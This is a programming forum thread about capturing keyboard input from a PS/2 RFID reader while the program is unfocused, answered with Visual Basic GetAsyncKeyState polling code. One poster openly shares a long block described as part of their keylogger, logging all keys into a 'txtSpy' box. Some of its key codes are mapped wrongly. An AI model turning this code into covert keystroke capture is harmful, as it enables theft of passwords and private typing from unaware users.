Reading Keyboard value without focus

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • perpetualsoft
    New Member
    • Apr 2007
    • 8

    Reading Keyboard value without focus

    hey guys
    i have a big problem,actuall y I m developing a software for my a client. this is verfication of RFID card via PS/2 port its reader. I can read data from card easily when application is active and setfocus is in textbox. but when application is not active then i can not get information.
    so plz tell me how i can get value from PS/2 (Keyboard) port, I tried using MSComm but failed.
    anybody can help me out??
  • mailderemi
    New Member
    • Jun 2007
    • 14

    #2
    Originally posted by perpetualsoft
    hey guys
    i have a big problem,actuall y I m developing a software for my a client. this is verfication of RFID card via PS/2 port its reader. I can read data from card easily when application is active and setfocus is in textbox. but when application is not active then i can not get information.
    so plz tell me how i can get value from PS/2 (Keyboard) port, I tried using MSComm but failed.
    anybody can help me out??
    I think you wanna make a keylogger don't you??
    any way use:
    [CODE=vb]Private Declare Function GetAsyncKeyStat e Lib "user32" (ByVal vKey As Long) As Integer[/CODE]
    then use:
    [CODE=vb]If GetAsyncKeyStat e(vbKeyA) = -32767 Then text1.Text = text1.Text & "a"
    If GetAsyncKeyStat e(vbKeyB) = -32767 Then text1.Text = text1.Text & "b"[/CODE] and ...

    by this you can get any character from keyboard

    Comment

    • Asad Asad
      New Member
      • May 2007
      • 20

      #3
      I have use this code. I use it in Timer control (with interval=100) but it adds one character in textbox two or three times. If I use time interval=200 then it miss some characters.
      What can I do for it?

      Comment

      • neo008
        New Member
        • Jun 2007
        • 85

        #4
        Which controller are you using friends? Give me some detail about the invoke method you have created.

        NE☼

        Comment

        • perpetualsoft
          New Member
          • Apr 2007
          • 8

          #5
          hey, i used above code.its working properly but problem i m facing that i can not read value from RFID reader as it reads very fast and i set function in Timer, so it can not read. please tell me any other same technique but little fast.

          Comment

          • Killer42
            Recognized Expert Expert
            • Oct 2006
            • 8429

            #6
            Originally posted by perpetualsoft
            hey, i used above code.its working properly but problem i m facing that i can not read value from RFID reader as it reads very fast and i set function in Timer, so it can not read. please tell me any other same technique but little fast.
            What timer interval have you set?

            Also, how did you implement that code? Not as a string of hundreds of IF statement, I hope.

            Comment

            • perpetualsoft
              New Member
              • Apr 2007
              • 8

              #7
              I set
              Timer Interval =1
              and i use IF Statements as there is no way to get keys without it. just check
              Code

              Private Declare Function GetAsyncKeyStat e Lib "user32" (ByVal vKey As Long) As Integer

              Private Sub Timer1_Timer()
              If GetAsyncKeyStat e(vbKeySpace) = -32767 Then Text1.Text = Text1.Text & " "
              If GetAsyncKeyStat e(vbKeyA) = -32767 Then Text1.Text = Text1.Text & "a"
              If GetAsyncKeyStat e(vbKeyB) = -32767 Then Text1.Text = Text1.Text & "b"
              If GetAsyncKeyStat e(vbKeyC) = -32767 Then Text1.Text = Text1.Text & "c"
              If GetAsyncKeyStat e(vbKeyD) = -32767 Then Text1.Text = Text1.Text & "d"
              If GetAsyncKeyStat e(vbKeyE) = -32767 Then Text1.Text = Text1.Text & "e"
              If GetAsyncKeyStat e(vbKeyF) = -32767 Then Text1.Text = Text1.Text & "f"
              If GetAsyncKeyStat e(vbKeyG) = -32767 Then Text1.Text = Text1.Text & "g"
              If GetAsyncKeyStat e(vbKeyH) = -32767 Then Text1.Text = Text1.Text & "h"
              If GetAsyncKeyStat e(vbKeyI) = -32767 Then Text1.Text = Text1.Text & "i"
              If GetAsyncKeyStat e(vbKeyJ) = -32767 Then Text1.Text = Text1.Text & "j"
              If GetAsyncKeyStat e(vbKeyK) = -32767 Then Text1.Text = Text1.Text & "k"
              If GetAsyncKeyStat e(vbKeyL) = -32767 Then Text1.Text = Text1.Text & "l"
              If GetAsyncKeyStat e(vbKeyM) = -32767 Then Text1.Text = Text1.Text & "m"
              If GetAsyncKeyStat e(vbKeyN) = -32767 Then Text1.Text = Text1.Text & "n"
              If GetAsyncKeyStat e(vbKeyO) = -32767 Then Text1.Text = Text1.Text & "o"
              If GetAsyncKeyStat e(vbKeyP) = -32767 Then Text1.Text = Text1.Text & "p"
              If GetAsyncKeyStat e(vbKeyQ) = -32767 Then Text1.Text = Text1.Text & "q"
              If GetAsyncKeyStat e(vbKeyR) = -32767 Then Text1.Text = Text1.Text & "r"
              If GetAsyncKeyStat e(vbKeyS) = -32767 Then Text1.Text = Text1.Text & "s"
              If GetAsyncKeyStat e(vbKeyT) = -32767 Then Text1.Text = Text1.Text & "t"
              If GetAsyncKeyStat e(vbKeyU) = -32767 Then Text1.Text = Text1.Text & "u"
              If GetAsyncKeyStat e(vbKeyV) = -32767 Then Text1.Text = Text1.Text & "v"
              If GetAsyncKeyStat e(vbKeyW) = -32767 Then Text1.Text = Text1.Text & "w"
              If GetAsyncKeyStat e(vbKeyX) = -32767 Then Text1.Text = Text1.Text & "x"
              If GetAsyncKeyStat e(vbKeyY) = -32767 Then Text1.Text = Text1.Text & "y"
              If GetAsyncKeyStat e(vbKeyZ) = -32767 Then Text1.Text = Text1.Text & "z"
              If GetAsyncKeyStat e(vbKey1) = -32767 Then Text1.Text = Text1.Text & "1"
              If GetAsyncKeyStat e(vbKey2) = -32767 Then Text1.Text = Text1.Text & "2"
              If GetAsyncKeyStat e(vbKey3) = -32767 Then Text1.Text = Text1.Text & "3"
              If GetAsyncKeyStat e(vbKey4) = -32767 Then Text1.Text = Text1.Text & "4"
              If GetAsyncKeyStat e(vbKey5) = -32767 Then Text1.Text = Text1.Text & "5"
              If GetAsyncKeyStat e(vbKey6) = -32767 Then Text1.Text = Text1.Text & "6"
              If GetAsyncKeyStat e(vbKey7) = -32767 Then Text1.Text = Text1.Text & "7"
              If GetAsyncKeyStat e(vbKey8) = -32767 Then Text1.Text = Text1.Text & "8"
              If GetAsyncKeyStat e(vbKey9) = -32767 Then Text1.Text = Text1.Text & "9"
              If GetAsyncKeyStat e(vbKey0) = -32767 Then Text1.Text = Text1.Text & "0"

              End Sub

              Comment

              • Killer42
                Recognized Expert Expert
                • Oct 2006
                • 8429

                #8
                Originally posted by perpetualsoft
                I set Timer Interval = 1 and I use IF Statements as there is no way to get keys without it. just check...
                For a start, you could certainly make the code shorter by using one or more loops. For example...[CODE=vb]Dim I As Long
                Const Pressed As Integer = -32767
                For I = vbKeyA To vbKeyZ
                If GetAsyncKeyStat e(I) = Pressed Then
                Text1.Text = Text1.Text & Lcase(Chr(I))
                End If
                Next[/CODE]
                I believe there are third-party timer controls available that can fire more rapidly than the VB-supplied one. For more precise timing (or just faster checking) you could also set up an infinite loop which simply keeps on checking non-stop. Until you want it to stop, obviously.

                It might be worth double-checking the comparison you're performing, too. For instance, didn't the doco say that the shift state is also encoded in there? If so, -32767 might miss things. Might be better to use AND to check specific bit positions.

                Comment

                • mailderemi
                  New Member
                  • Jun 2007
                  • 14

                  #9
                  This code is a part of my keylogger. enjoy it!

                  [CODE=vb]If GetAsyncKeyStat e(vbKeyQ) = -32767 Then txtSpy.Text = txtSpy.Text & "q"
                  If GetAsyncKeyStat e(vbKeyW) = -32767 Then txtSpy.Text = txtSpy.Text & "w"
                  If GetAsyncKeyStat e(vbKeyE) = -32767 Then txtSpy.Text = txtSpy.Text & "e"
                  If GetAsyncKeyStat e(vbKeyR) = -32767 Then txtSpy.Text = txtSpy.Text & "r"
                  If GetAsyncKeyStat e(vbKeyT) = -32767 Then txtSpy.Text = txtSpy.Text & "t"
                  If GetAsyncKeyStat e(vbKeyY) = -32767 Then txtSpy.Text = txtSpy.Text & "y"
                  If GetAsyncKeyStat e(vbKeyU) = -32767 Then txtSpy.Text = txtSpy.Text & "u"
                  If GetAsyncKeyStat e(vbKeyI) = -32767 Then txtSpy.Text = txtSpy.Text & "i"
                  If GetAsyncKeyStat e(vbKeyO) = -32767 Then txtSpy.Text = txtSpy.Text & "o"
                  If GetAsyncKeyStat e(vbKeyP) = -32767 Then txtSpy.Text = txtSpy.Text & "p"
                  If GetAsyncKeyStat e(vbKeyA) = -32767 Then txtSpy.Text = txtSpy.Text & "a"
                  If GetAsyncKeyStat e(vbKeyS) = -32767 Then txtSpy.Text = txtSpy.Text & "s"
                  If GetAsyncKeyStat e(vbKeyD) = -32767 Then txtSpy.Text = txtSpy.Text & "d"
                  If GetAsyncKeyStat e(vbKeyF) = -32767 Then txtSpy.Text = txtSpy.Text & "f"
                  If GetAsyncKeyStat e(vbKeyG) = -32767 Then txtSpy.Text = txtSpy.Text & "g"
                  If GetAsyncKeyStat e(vbKeyH) = -32767 Then txtSpy.Text = txtSpy.Text & "h"
                  If GetAsyncKeyStat e(vbKeyJ) = -32767 Then txtSpy.Text = txtSpy.Text & "j"
                  If GetAsyncKeyStat e(vbKeyK) = -32767 Then txtSpy.Text = txtSpy.Text & "k"
                  If GetAsyncKeyStat e(vbKeyL) = -32767 Then txtSpy.Text = txtSpy.Text & "l"
                  If GetAsyncKeyStat e(vbKeyZ) = -32767 Then txtSpy.Text = txtSpy.Text & "z"
                  If GetAsyncKeyStat e(vbKeyX) = -32767 Then txtSpy.Text = txtSpy.Text & "x"
                  If GetAsyncKeyStat e(vbKeyC) = -32767 Then txtSpy.Text = txtSpy.Text & "c"
                  If GetAsyncKeyStat e(vbKeyV) = -32767 Then txtSpy.Text = txtSpy.Text & "v"
                  If GetAsyncKeyStat e(vbKeyB) = -32767 Then txtSpy.Text = txtSpy.Text & "b"
                  If GetAsyncKeyStat e(vbKeyN) = -32767 Then txtSpy.Text = txtSpy.Text & "n"
                  If GetAsyncKeyStat e(vbKeyM) = -32767 Then txtSpy.Text = txtSpy.Text & "m"

                  If GetAsyncKeyStat e(vbKey1) = -32767 Then txtSpy.Text = txtSpy.Text & "1"
                  If GetAsyncKeyStat e(vbKey2) = -32767 Then txtSpy.Text = txtSpy.Text & "2"
                  If GetAsyncKeyStat e(vbKey3) = -32767 Then txtSpy.Text = txtSpy.Text & "3"
                  If GetAsyncKeyStat e(vbKey4) = -32767 Then txtSpy.Text = txtSpy.Text & "4"
                  If GetAsyncKeyStat e(vbKey5) = -32767 Then txtSpy.Text = txtSpy.Text & "5"
                  If GetAsyncKeyStat e(vbKey6) = -32767 Then txtSpy.Text = txtSpy.Text & "6"
                  If GetAsyncKeyStat e(vbKey7) = -32767 Then txtSpy.Text = txtSpy.Text & "7"
                  If GetAsyncKeyStat e(vbKey8) = -32767 Then txtSpy.Text = txtSpy.Text & "8"
                  If GetAsyncKeyStat e(vbKey9) = -32767 Then txtSpy.Text = txtSpy.Text & "9"
                  If GetAsyncKeyStat e(vbKey0) = -32767 Then txtSpy.Text = txtSpy.Text & "0"

                  If GetAsyncKeyStat e(vbKeyShift) = -32767 Then txtSpy.Text = txtSpy.Text & " [Shift] "

                  If GetAsyncKeyStat e(vbKeyBack) = -32767 Then txtSpy.Text = txtSpy.Text & " [BackSpace] "
                  If GetAsyncKeyStat e(13) = -32767 Then txtSpy.Text = txtSpy.Text & " [Enter] "
                  If GetAsyncKeyStat e(17) = -32767 Then txtSpy.Text = txtSpy.Text & " [Ctrl] "
                  If GetAsyncKeyStat e(vbKeyTab) = -32767 Then txtSpy.Text = txtSpy.Text & " [Tab] "
                  If GetAsyncKeyStat e(18) = -32767 Then txtSpy.Text = txtSpy.Text & " [Alt] "
                  If GetAsyncKeyStat e(108) = -32767 Then txtSpy.Text = txtSpy.Text & " [Enter] "
                  If GetAsyncKeyStat e(32) = -32767 Then txtSpy.Text = txtSpy.Text & " [Space] "
                  If GetAsyncKeyStat e(91) = -32767 Then txtSpy.Text = txtSpy.Text & " [Windows] "
                  If GetAsyncKeyStat e(vbKeyShift) = -32767 Then txtSpy.Text = txtSpy.Text & " [Shift] "

                  If GetAsyncKeyStat e(27) = -32767 Then txtSpy.Text = txtSpy.Text & " [Esc] "

                  If GetAsyncKeyStat e(33) = -32767 Then txtSpy.Text = txtSpy.Text & " [PageUp] "
                  If GetAsyncKeyStat e(34) = -32767 Then txtSpy.Text = txtSpy.Text & " [PageDown] "
                  If GetAsyncKeyStat e(35) = -32767 Then txtSpy.Text = txtSpy.Text & " [End] "
                  If GetAsyncKeyStat e(36) = -32767 Then txtSpy.Text = txtSpy.Text & " [Home] "
                  If GetAsyncKeyStat e(45) = -32767 Then txtSpy.Text = txtSpy.Text & " [Insert] "
                  If GetAsyncKeyStat e(46) = -32767 Then txtSpy.Text = txtSpy.Text & " [Delete] "

                  If GetAsyncKeyStat e(144) = -32767 Then txtSpy.Text = txtSpy.Text & " [NumLock] "

                  If GetAsyncKeyStat e(112) = -32767 Then txtSpy.Text = txtSpy.Text & " [F1] "
                  If GetAsyncKeyStat e(113) = -32767 Then txtSpy.Text = txtSpy.Text & " [F2] "
                  If GetAsyncKeyStat e(114) = -32767 Then txtSpy.Text = txtSpy.Text & " [F3] "
                  If GetAsyncKeyStat e(115) = -32767 Then txtSpy.Text = txtSpy.Text & " [F4] "
                  If GetAsyncKeyStat e(116) = -32767 Then txtSpy.Text = txtSpy.Text & " [F5] "
                  If GetAsyncKeyStat e(117) = -32767 Then txtSpy.Text = txtSpy.Text & " [F6] "
                  If GetAsyncKeyStat e(118) = -32767 Then txtSpy.Text = txtSpy.Text & " [F7] "
                  If GetAsyncKeyStat e(119) = -32767 Then txtSpy.Text = txtSpy.Text & " [F8] "
                  If GetAsyncKeyStat e(120) = -32767 Then txtSpy.Text = txtSpy.Text & " [F9] "
                  If GetAsyncKeyStat e(121) = -32767 Then txtSpy.Text = txtSpy.Text & " [F10] "
                  If GetAsyncKeyStat e(122) = -32767 Then txtSpy.Text = txtSpy.Text & " [F11] "
                  If GetAsyncKeyStat e(123) = -32767 Then txtSpy.Text = txtSpy.Text & " [F12] "

                  If GetAsyncKeyStat e(37) = -32767 Then txtSpy.Text = txtSpy.Text & " [Left] "
                  If GetAsyncKeyStat e(38) = -32767 Then txtSpy.Text = txtSpy.Text & " [Up] "
                  If GetAsyncKeyStat e(39) = -32767 Then txtSpy.Text = txtSpy.Text & " [Right] "
                  If GetAsyncKeyStat e(40) = -32767 Then txtSpy.Text = txtSpy.Text & " [Down] "

                  If GetAsyncKeyStat e(188) = -32767 Then txtSpy.Text = txtSpy.Text & ","
                  If GetAsyncKeyStat e(190) = -32767 Then txtSpy.Text = txtSpy.Text & "."
                  If GetAsyncKeyStat e(186) = -32767 Then txtSpy.Text = txtSpy.Text & ";"
                  If GetAsyncKeyStat e(222) = -32767 Then txtSpy.Text = txtSpy.Text & "'"
                  If GetAsyncKeyStat e(119) = -32767 Then txtSpy.Text = txtSpy.Text & "["
                  If GetAsyncKeyStat e(121) = -32767 Then txtSpy.Text = txtSpy.Text & "]"
                  If GetAsyncKeyStat e(191) = -32767 Then txtSpy.Text = txtSpy.Text & "/"
                  If GetAsyncKeyStat e(220) = -32767 Then txtSpy.Text = txtSpy.Text & "\"
                  If GetAsyncKeyStat e(106) = -32767 Then txtSpy.Text = txtSpy.Text & "*"
                  If GetAsyncKeyStat e(109) = -32767 Then txtSpy.Text = txtSpy.Text & "-"
                  If GetAsyncKeyStat e(107) = -32767 Then txtSpy.Text = txtSpy.Text & "+"
                  If GetAsyncKeyStat e(96) = -32767 Then txtSpy.Text = txtSpy.Text & "0"
                  If GetAsyncKeyStat e(97) = -32767 Then txtSpy.Text = txtSpy.Text & "1"
                  If GetAsyncKeyStat e(98) = -32767 Then txtSpy.Text = txtSpy.Text & "2"
                  If GetAsyncKeyStat e(99) = -32767 Then txtSpy.Text = txtSpy.Text & "3"
                  If GetAsyncKeyStat e(100) = -32767 Then txtSpy.Text = txtSpy.Text & "4"
                  If GetAsyncKeyStat e(101) = -32767 Then txtSpy.Text = txtSpy.Text & "5"
                  If GetAsyncKeyStat e(102) = -32767 Then txtSpy.Text = txtSpy.Text & "6"
                  If GetAsyncKeyStat e(103) = -32767 Then txtSpy.Text = txtSpy.Text & "7"
                  If GetAsyncKeyStat e(104) = -32767 Then txtSpy.Text = txtSpy.Text & "8"
                  If GetAsyncKeyStat e(105) = -32767 Then txtSpy.Text = txtSpy.Text & "9"
                  If GetAsyncKeyStat e(192) = -32767 Then txtSpy.Text = txtSpy.Text & "`"
                  If GetAsyncKeyStat e(92) = -32767 Then txtSpy.Text = txtSpy.Text & " [Window] "
                  If GetAsyncKeyStat e(175) = -32767 Then txtSpy.Text = txtSpy.Text & " [Volume +] "
                  If GetAsyncKeyStat e(174) = -32767 Then txtSpy.Text = txtSpy.Text & " [Volume -] "
                  If GetAsyncKeyStat e(181) = -32767 Then txtSpy.Text = txtSpy.Text & " [Player] "
                  If GetAsyncKeyStat e(168) = -32767 Then txtSpy.Text = txtSpy.Text & " [Refresh] "
                  If GetAsyncKeyStat e(172) = -32767 Then txtSpy.Text = txtSpy.Text & " [InternetBrowser] "
                  If GetAsyncKeyStat e(180) = -32767 Then txtSpy.Text = txtSpy.Text & " [E-Mail] "
                  If GetAsyncKeyStat e(170) = -32767 Then txtSpy.Text = txtSpy.Text & " [Search] "
                  If GetAsyncKeyStat e(169) = -32767 Then txtSpy.Text = txtSpy.Text & " [StopInternet] "
                  If GetAsyncKeyStat e(167) = -32767 Then txtSpy.Text = txtSpy.Text & " [Forward] "
                  If GetAsyncKeyStat e(166) = -32767 Then txtSpy.Text = txtSpy.Text & " [Back] "
                  If GetAsyncKeyStat e(183) = -32767 Then txtSpy.Text = txtSpy.Text & " [Calculator] "
                  If GetAsyncKeyStat e(171) = -32767 Then txtSpy.Text = txtSpy.Text & " [Favorites] "
                  If GetAsyncKeyStat e(173) = -32767 Then txtSpy.Text = txtSpy.Text & " [Mute] "
                  If GetAsyncKeyStat e(178) = -32767 Then txtSpy.Text = txtSpy.Text & " [StopPlayer] "
                  If GetAsyncKeyStat e(179) = -32767 Then txtSpy.Text = txtSpy.Text & " [Play] "
                  If GetAsyncKeyStat e(176) = -32767 Then txtSpy.Text = txtSpy.Text & " [NextTrack] "
                  If GetAsyncKeyStat e(177) = -32767 Then txtSpy.Text = txtSpy.Text & " [PreviousTrack] "
                  If GetAsyncKeyStat e(95) = -32767 Then txtSpy.Text = txtSpy.Text & " [Sleep] "
                  If GetAsyncKeyStat e(187) = -32767 Then txtSpy.Text = txtSpy.Text & "="
                  If GetAsyncKeyStat e(255) = -32767 Then txtSpy.Text = txtSpy.Text & " [Power/Wake] "
                  If GetAsyncKeyStat e(145) = -32767 Then txtSpy.Text = txtSpy.Text & " [ScrollLock] "
                  If GetAsyncKeyStat e(19) = -32767 Then txtSpy.Text = txtSpy.Text & " [PauseBreack] "
                  If GetAsyncKeyStat e(20) = -32767 Then txtSpy.Text = txtSpy.Text & " [CapsLock] "[/CODE]

                  Comment

                  • Killer42
                    Recognized Expert Expert
                    • Oct 2006
                    • 8429

                    #10
                    Originally posted by mailderemi
                    This code is a part of my keylogger. enjoy it!...
                    Thanks for sharing.

                    Two comments, though.
                    • I would definitely recommend setting up a couple of arrays (key value to check, what to insert) and using a loop to do this, just to shorten the code. But that's really a personal preference. One advantage of your existing code is that it visually matches each key value with the copresponding output value.
                    • I think you have a typo ("PauseBreack") on line 124.

                    Comment

                    Working...